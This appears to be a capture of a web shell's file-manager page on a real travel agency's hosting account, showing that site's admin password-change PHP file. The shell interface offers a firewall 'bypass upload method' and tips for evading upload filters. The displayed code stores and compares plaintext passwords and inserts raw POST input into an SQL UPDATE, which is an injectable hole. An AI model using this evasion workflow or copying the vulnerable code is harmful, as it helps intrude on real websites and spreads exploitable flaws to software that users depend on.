Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u619466350
domains
a1toursandtravels.com
public_html
admin
File Content:
Change-Password.php
<?php ob_start(); session_start(); include("config/connection_config.php"); $email= $_SESSION['username']; $aid=$_SESSION['aid']; if (!isset($email)) { header('location:index.php'); exit(); } ?> <?php $query = "SELECT * FROM login_tb"; $run = mysqli_query($con,$query); while($row = mysqli_fetch_array($run)){ $id = $row[0]; $dbusername = $row[1]; $dbpassword = $row[2]; } ?> <?php if(isset($_POST['Change_Password'])){ $username = $_POST['username']; $opassword = $_POST['opassword']; $npassword = $_POST['npassword']; if(($username == $dbusername) && ($opassword == $dbpassword)){ $q = "UPDATE `login_tb` SET `username` = '$username', `password` = '$npassword' WHERE id= $id"; if(mysqli_query($con,$q)){header("location:login.php?n=3"); } } } ?> <!DOCTYPE html> <html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <head> <title>Change Password, Admin Panel</title> <!--Bootstrap css--> <link href="css/bootstrap.css" rel='stylesheet' type='text/css'> <!--/Bootstrap css--> <!--/our css--> <link href="css/mycss.css" rel='stylesheet' type='text/css'> <link href="css/set2.css" rel='stylesheet' type='text/css'> <!--/our css--> </head> <style type="text/css"> body{padding-top:35px; background:#000;} form{background: none; margin:0; padding: 0 30px;} input.btn.btn-danger.pull-right { width: 100%; height: 46px; font-size: 22px; } </style> <body> <!--/Content--> <section id="content"> <div class="row"> <div class="container"> <div class="col-md-3"></div> <div class="col-md-6"> <div class="panel panel-default"> <div class="list-group"> <div class="list-group-item active clearfix" href=""> <h2 class="pull-left">ADMIN PANEL LOGIN</h2> <img class="pull-right" src="images/login-icon.png" width="70px"> </div> </div> <div class="panel-body"> <div class="grid"> <figure class="effect-julia"> <center> <img class="img-circle" src="images/login_icon.png" style="border:3px solid #999; width:30%; padding:10px; margin:0 0 10px 0;"> </center> </figure> </div> <div class="grid"> <form class="black-bg" action="" method="post"> <div class="input-group input-group-lg"> <span class="input-group-addon" id="sizing-addon1"> <img src="images/user.png" width="20"> </span> <input type="text" class="form-control" name="username" placeholder="<?php echo $username; ?>" aria-describedby="sizing-addon1"> </div> <br> <div class="input-group input-group-lg"> <span class="input-group-addon" id="sizing-addon1"> <img src="images/pw.png" width="20"> </span> <input type="text" class="form-control" name="opassword" placeholder="Old Password" aria-describedby="sizing-addon1"> </div> <br> <div class="input-group input-group-lg"> <span class="input-group-addon" id="sizing-addon1"> <img src="images/pw.png" width="20"> </span> <input type="text" class="form-control" name="npassword" placeholder="New Password" aria-describedby="sizing-addon1"> </div> <br> <input class="btn btn-danger pull-right" type="submit" value="Change Password" name="Change_Password"> <div class="clearfix"></div> </form> </div> </div> </div> </div> </div> </div> </section> <!--Content--> </body> </html> <?php if(isset($_GET['n'])==3) { ?> <script>alert("Your Password successfully chnageing. login now with this new password!");</script> <?php } ?>
Edit
Download
Unzip
Chmod
Delete